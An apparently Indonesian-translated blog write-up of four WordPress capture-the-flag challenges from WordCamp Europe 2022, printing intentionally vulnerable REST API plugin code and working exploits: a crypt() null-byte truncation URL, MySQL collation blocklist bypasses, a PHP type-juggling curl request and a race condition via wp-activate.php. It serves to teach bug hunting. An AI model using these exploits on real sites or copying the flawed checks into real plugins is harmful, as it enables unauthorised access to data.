Tangkap Bendera di WordCamp Europe 2022
Diterbitkan: 2022-06-13Selama WordCamp Europe 2022, kami menjalankan kompetisi WordPress Capture The Flag (CTF) di empat tantangan.
Kami ingin memperkenalkan orang-orang ke dunia CTF yang adiktif, dan membiarkan orang-orang mengalami bagaimana peneliti keamanan mendekati perburuan bug, seperti mencari keanehan dalam kode dan menggabungkannya untuk melakukan hal-hal aneh, terkadang berlawanan dengan intuisi.
Tantangan #1 – Apakah Anda Beruntung?
Tantangan #2 – Bypass Daftar Blokir?
Tantangan #3 – Lisensi untuk Menangkap Bendera
Tantangan #4 – Lisensi untuk CTF: Bagian 2
Jika Anda tertarik untuk mencobanya, Anda masih bisa mendapatkan file tantangannya di sini:
Tantangan #1 – Apakah Anda Beruntung? (250 poin)
Cuplikan Kode yang Relevan
register_rest_route( 'hackismet', '/am-i-lucky', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_am_i_lucky',
'permission_callback' => '__return_true',
]);
function hackismet_am_i_lucky( $request ) {
$flag = get_option( 'secret_hackismet_flag_2' );
if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
return rest_ensure_response( $flag );
}
return rest_ensure_response(false);
}
Bagaimana Itu Bisa Dipecahkan?
Tantangan ini menghadirkan titik akhir REST API yang dapat diakses melalui rute /wp-json/hackismet/am-i-lucky
. Itu dirancang untuk menerima payload dan parameter permintaan hash, menggabungkan request['payload']
ke flag dan string 32 byte acak yang aman secara kriptografis, dan membandingkan hash yang dihasilkan dengan request['hash']
.
Setelah membaca dokumentasi fungsi crypt() , orang dapat menemukan bahwa fungsi ini tidak aman untuk biner (belum!), artinya byte nol (%00) dapat digunakan untuk memotong string yang akan di-hash tepat sebelum flag dan 32 byte acak. Ini karena implementasi fungsi tersebut di PHP pada dasarnya hanyalah sebuah alias dari fungsi C yang mendasarinya dengan nama yang sama, dan string C diakhiri dengan byte nol.
Untuk mendapatkan bendera Anda, yang harus Anda lakukan hanyalah menghitung hash dengan pesan yang Anda kontrol dan garam kriptografik yang digunakan dalam kode plugin, gunakan hash yang dihasilkan di parameter “hash”, dan masukkan pesan Anda ke dalam “payload” parameter, digabungkan dengan byte nol (%00).
Inilah yang tampak seperti eksploitasi yang berhasil:
/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/
Tantangan #2 – Bypass Daftar Blokir? (250 poin)
Cuplikan Kode yang Relevan
register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_get_option',
'permission_callback' => 'hackismet_validate_option',
]);
function hackismet_validate_option( $request ) {
$option_key = trim( strtolower( $request['option_key'] ) );
if( empty( $option_key ) ) {
return false;
}
if( ! preg_match( '/^hackismet_/i', $option_key) ) {
return false;
}
if( $option_key == 'hackismet_flag_1' ) {
return false;
}
return true;
}
function hackismet_get_option( $request ) {
$option_key = trim( strtolower( $request['option_key'] ) );
return rest_ensure_response( get_option( $option_key ) );
}
Bagaimana Itu Bisa Dipecahkan?
Tantangan ini menghadirkan titik akhir REST API yang dapat diakses melalui /wp-json/hackismet/get-option/option_key_you_want
.
Tujuannya cukup sederhana: coba bocorkan opsi "hackismet_flag_1".
Sayangnya, panggilan balik izin untuk titik akhir itu juga melakukan beberapa hal untuk mencegah Anda mengambil opsi apa pun di situs:
- Ini memvalidasi bahwa kunci opsi dimulai dengan "hackismet_".
- Itu juga memastikan bahwa opsi apa pun yang ingin Anda ambil bukanlah hackismet_flag_1, tempat bendera itu berada.
- Untuk membuat segalanya tampak lebih sulit, rute API membatasi karakter mana yang dapat membuatnya dalam parameter rute option_key, hanya mengizinkan string yang cocok dengan
\w+
regex.
Fungsi panggilan balik "hackismet_validate_option" juga menggunakan fungsi "strtolower" dan "trim" dalam upaya untuk menormalkan parameter "option_key". Ini untuk menggagalkan upaya menggunakan perilaku yang terdokumentasi dengan baik dari susunan "utf8mb4_unicode_ci" MySQL, seperti fakta bahwa perbandingan string tidak peka huruf besar-kecil, dan juga tidak peduli dengan spasi tambahan di kolom VARCHAR.
Trik Pengumpulan Lainnya
Untuk mengatasi tantangan ini, seseorang harus menemukan keanehan lain dalam cara "utf8mb4_unicode_ci" melakukan pencarian string untuk melewati pemeriksaan di tempat, dan setidaknya ada dua cara untuk melakukannya.
Kepekaan Aksen
Seperti yang disebutkan dalam dokumentasi MySQL resmi:
Untuk nama susunan nonbiner yang tidak menentukan sensitivitas aksen, ditentukan oleh sensitivitas huruf besar/kecil.
Singkatnya: sensitivitas aksen adalah suatu hal. Susunan default WordPress menggunakan komponen “_ci” (untuk “Case-Insensitive”), yang berarti collation juga Accent-Insensitive.
Jadi, meneruskan "hackismet_flag_1" akan melewati pemeriksaan di hackismet_validate_option
.
Bobot yang Dapat Diabaikan
Algoritma Collation Unicode, yang digunakan oleh collation utf8mb4_unicode_ci MySQL untuk membandingkan dan mengurutkan string Unicode menjelaskan konsep "bobot yang dapat diabaikan" sebagai berikut:
Bobot yang dapat diabaikan dilewatkan oleh aturan yang menyusun kunci pengurutan dari urutan elemen susunan. Dengan demikian, kehadirannya dalam elemen susunan tidak memengaruhi perbandingan string menggunakan kunci pengurutan yang dihasilkan . Penugasan yang bijaksana dari bobot yang dapat diabaikan dalam elemen susunan merupakan konsep penting bagi UCA.
Singkatnya, algoritme menghitung bobot untuk setiap elemen susunan (karakter), dan beberapa di antaranya didefinisikan memiliki bobot default nol, yang secara efektif membuat algoritme mengabaikannya saat melakukan perbandingan string.
Ada beberapa cara (ab) menggunakan perilaku itu untuk mengalahkan tantangan, termasuk:
- Menambahkan byte nol di suatu tempat di dalam string (mis
hackismet_fl%00ag_1
) - Memasukkan urutan UTF-8 yang tidak valid di dalam string (mis
hackismet_fl%c2%80ag_1
)
Anda dapat menemukan banyak kombinasi lain dalam implementasi MySQL dari UCA.
Melewati Pembatasan Karakter Parameter “option_key”
Variabel rute "option_key" didefinisikan untuk tidak membiarkan apa pun selain \w+ lewat. Itu masalah. PHP memperlakukan setiap string sebagai serangkaian byte alih-alih karakter unicode seperti MySQL, jadi kirimkan permintaan ke “/wp-json/hackismet/get-option/hackismet_flag_1” atau “/wp-json/hackismet/get-option/hackismet_fla %00g_1” tidak akan berfungsi.
Untuk melewati itu, dokumentasi resmi WordPress tentang menulis titik akhir REST API sedikit membantu, khususnya baris di mana dikatakan:
Secara default, rute menerima semua argumen yang diteruskan dari permintaan. Ini digabungkan menjadi satu set parameter , lalu ditambahkan ke objek Permintaan, yang diteruskan sebagai parameter pertama ke titik akhir Anda
Apa artinya dalam praktiknya adalah bahwa setelah mengunjungi /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1
, parameter option_key akan berisi "hackismet_fla%00g_1", dan bukan "test", yang juga akan memaksa plugin untuk memberi Anda bendera.
Tantangan #3 – Lisensi untuk Menangkap Bendera (500 poin)
Cuplikan Kode yang Relevan
register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_generate_license',
'permission_callback' => '__return_true',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_access_flag_3',
'permission_callback' => 'hackismet_validate_license',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_delete_license',
'permission_callback' => '__return_true',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
function hackismet_generate_license( $request ) {
// 128 bits of entropy should be enough to prevent bruteforce.
$license_key = bin2hex( random_bytes(40) );
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
// Reset it.
update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
return rest_ensure_response('License successfully generated!');
}
function hackismet_delete_license( $request ) {
// Remove existing key.
delete_option('secret_hackismet_license_key_' . $request['session_id']);
return rest_ensure_response('License successfully deleted!');
}
function hackismet_validate_license( $request ) {
// Ensure a key has been set
if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return new WP_Error('no_license', 'No license exists for this session_id!');
}
$license_key = $request['key'];
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return true;
}
return false;
}
function hackismet_access_flag_3( $request ) {
return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
}
Bagaimana Itu Bisa Dipecahkan?
Gagasan di balik tantangan ini adalah untuk mensimulasikan sistem manajemen dan validasi lisensi yang (sangat) rusak.
Sementara tantangan ini dimaksudkan untuk membiarkan peserta mengeksploitasi kerentanan kondisi balapan yang cukup esoteris, pengawasan halus dari perancang tantangan membuatnya dapat dipecahkan menggunakan solusi yang tidak dimaksudkan, kurang eksotis.
Tantangan tersebut menghadirkan tiga titik akhir, meskipun hanya dua yang diperlukan untuk mendapatkan tanda:
- /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
- /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
- /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
Endpoint generate-license
mengisi kunci lisensi khusus sesi, yang kemudian akan divalidasi menggunakan callback izin hackismet_validate_license
access-flag-3
endpoint. Sayangnya, karena Anda tidak pernah melihat apa sebenarnya kunci lisensi yang dihasilkan, Anda harus menemukan cara untuk melewati pemeriksaan lisensi sama sekali untuk mendapatkan tanda tersebut.
$license_key = $request['key'];
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return true;
}
Salah satu cara untuk melakukannya adalah dengan membuat $request['key']
berisi nilai boolean "true", dan $request['rounds']
bernilai nol. Dengan melakukan ini, Anda memastikan bahwa $request['key']
tidak diubah oleh beberapa panggilan ke str_rot13
, dan karena validasi lisensi dilakukan menggunakan operator perbandingan longgar PHP, perbandingan akan selalu bernilai true.
Namun, Anda tidak dapat melakukannya dengan parameter GET
atau POST
biasa, karena parameter ini hanya berisi string atau array. Untungnya, REST API WordPress memungkinkan Anda mengirim badan permintaan JSON, bahkan pada titik akhir yang hanya terdaftar untuk menggunakan metode GET HTTP. Akibatnya, mengirim permintaan berikut akan memberi Anda tanda tantangan:
curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'
Tantangan #4 – Lisensi untuk CTF: Bagian 2 (500 poin)
Cuplikan Kode yang Relevan
register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_access_flag_4',
'permission_callback' => 'hackismet_validate_license',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
],
'key' => [
'required' => true,
'type' => 'string'
]
]
]);
function hackismet_access_flag_4( $request ) {
return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
}
// (... and basically every other code snippets from Challenge #3! )
Bagaimana Itu Bisa Dipecahkan?
Tantangan ini menghadirkan tiga titik akhir (dan sebenarnya diperlukan menggunakan ketiganya untuk diselesaikan!):
- /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
- /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
- /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
Seperti yang Anda lihat, itu adalah titik akhir yang sama dengan tantangan terakhir, satu-satunya perbedaan sekarang adalah kami memastikan bahwa $request['key']
adalah string untuk mencegah masalah juggling tipe yang kami sebutkan di tantangan lain.
Rute delete-license
yang menjelaskan sendiri melakukan persis seperti yang Anda harapkan: menghapus lisensi saat ini dari database. Demikian pula, access-flag-4
hanya mengembalikan bendera, dengan asumsi panggilan balik izinnya, hackismet_validate_license
, memungkinkannya terjadi.
Seperti yang Anda lihat dari cuplikan kode hackismet_validate_license
, panggilan balik izin yang disebut get_option
dua kali, satu kali untuk memvalidasi kunci lisensi telah disetel dan satu lagi untuk benar-benar membandingkannya dengan yang kami sediakan. Kedua panggilan dipisahkan oleh loop str_rot13 yang berjalan untuk putaran sebanyak yang didefinisikan dalam variabel rute $request['rounds']
.
Hal ini memungkinkan terjadinya kondisi balapan dengan mengirimkan sejumlah besar variabel putaran untuk menunda permintaan cukup lama bagi kita untuk mencapai titik /hackismet/delete-license
, yang secara efektif menghapus lisensi sebelum dibandingkan dengan milik kita sendiri.
Fakta bahwa get_option()
default untuk mengembalikan boolean false jika tidak menemukan opsi yang diberikan adalah ceri pada kue. Karena fungsi tidak pernah memeriksa apakah $request['key']
kosong, dan false == ““ ketika membandingkan berbagai jenis secara longgar di PHP, ini akan memungkinkan kita untuk sepenuhnya melewati pemeriksaan keamanan.
Tapi ini hanya dalam teori!
Caching untuk menyelamatkan!
Seperti yang dapat dilihat dari kode sumber fungsi, get_option
menyimpan hasil dari opsi apa pun yang diambilnya, jadi permintaan lebih lanjut untuk opsi itu pada permintaan HTTP yang sama tidak akan mengirim kueri SQL terpisah tambahan. Ini saja mencegah serangan kondisi balapan kami bekerja. Bahkan jika permintaan lain menghapus opsi lisensi saat kami mengulang semua panggilan str_rot13
itu, get_option tidak akan tahu karena hasilnya sudah di-cache untuk permintaan itu!
Sekali lagi, melihat kode sumber, sepertinya satu-satunya cara untuk mencegah hal itu terjadi adalah jika wp_installing kembali… benar? Ternyata, kita bisa membuatnya melakukan itu.
Apakah WordPress sudah terpasang?
Fungsi wp_installing bergantung pada konstanta WP_INSTALLING untuk menentukan apakah WordPress sedang menginstal, atau memperbarui dirinya sendiri. Mencari tempat di mana konstanta ini didefinisikan menghasilkan sangat sedikit hasil, yang paling menarik dalam kasus kami adalah wp-activate.php:
<?php
/**
* Confirms that the activation key that is sent in an email after a user signs
* up for a new site matches the key for that user and then displays confirmation.
*
* @package WordPress
*/
define( 'WP_INSTALLING', true );
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
require __DIR__ . '/wp-blog-header.php';
if ( ! is_multisite() ) {
wp_redirect( wp_registration_url() );
die();
}
Apa yang membuatnya sangat cocok untuk tujuan kita di sini, adalah bahwa salah satu hal pertama yang dilakukannya adalah menjalankan require()
di wp-blog-header.php.
Singkat cerita: kode yang benar-benar meluncurkan server REST API terhubung ke tindakan parse_request
, sehingga hanya akan tersedia ketika WordPress secara internal menyiapkan variabel kueri yang diperlukan agar The Loop melakukan tugasnya.
Ini hanya terjadi jika fungsi wp() dipanggil seperti di wp-blog-header.php.
Karena, secara internal, WordPress menggunakan parameter rest_route untuk mengetahui rute mana yang akan dimuat, menambahkan parameter itu ke URL adalah semua yang diperlukan untuk meluncurkan API saat mengunjungi /wp-activate.php.
Dengan demikian, serangan terakhir terlihat seperti ini:
- Kirim permintaan ke
/wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds
di mana$rounds
adalah angka yang cukup besar untuk membuat permintaan ini berjalan cukup lama untuk memungkinkan Anda melakukan langkah #2. - Kirim permintaan ke
/wp-json/hackismet/delete-license/$session_id
saat permintaan pertama Anda diblokir di loopstr_rot13
. - Tunggu permintaan pertama Anda selesai, dan dapatkan bendera Anda.
Kesimpulan
Kami harap Anda bersenang-senang dalam berpartisipasi dalam kompetisi Jetpack Capture The Flag edisi pertama ini seperti yang telah kami lakukan. Kami berharap dapat melakukan ini lagi di masa mendatang. Untuk mempelajari lebih lanjut tentang CTF, periksa CTF101.org
kredit
Desainer tantangan: Marc Montpas
Terima kasih khusus kepada Harald Eilertsen karena menyebarkan berita secara langsung di WordCamp Europe, dan tim Jetpack Scan untuk umpan balik, bantuan, dan koreksi.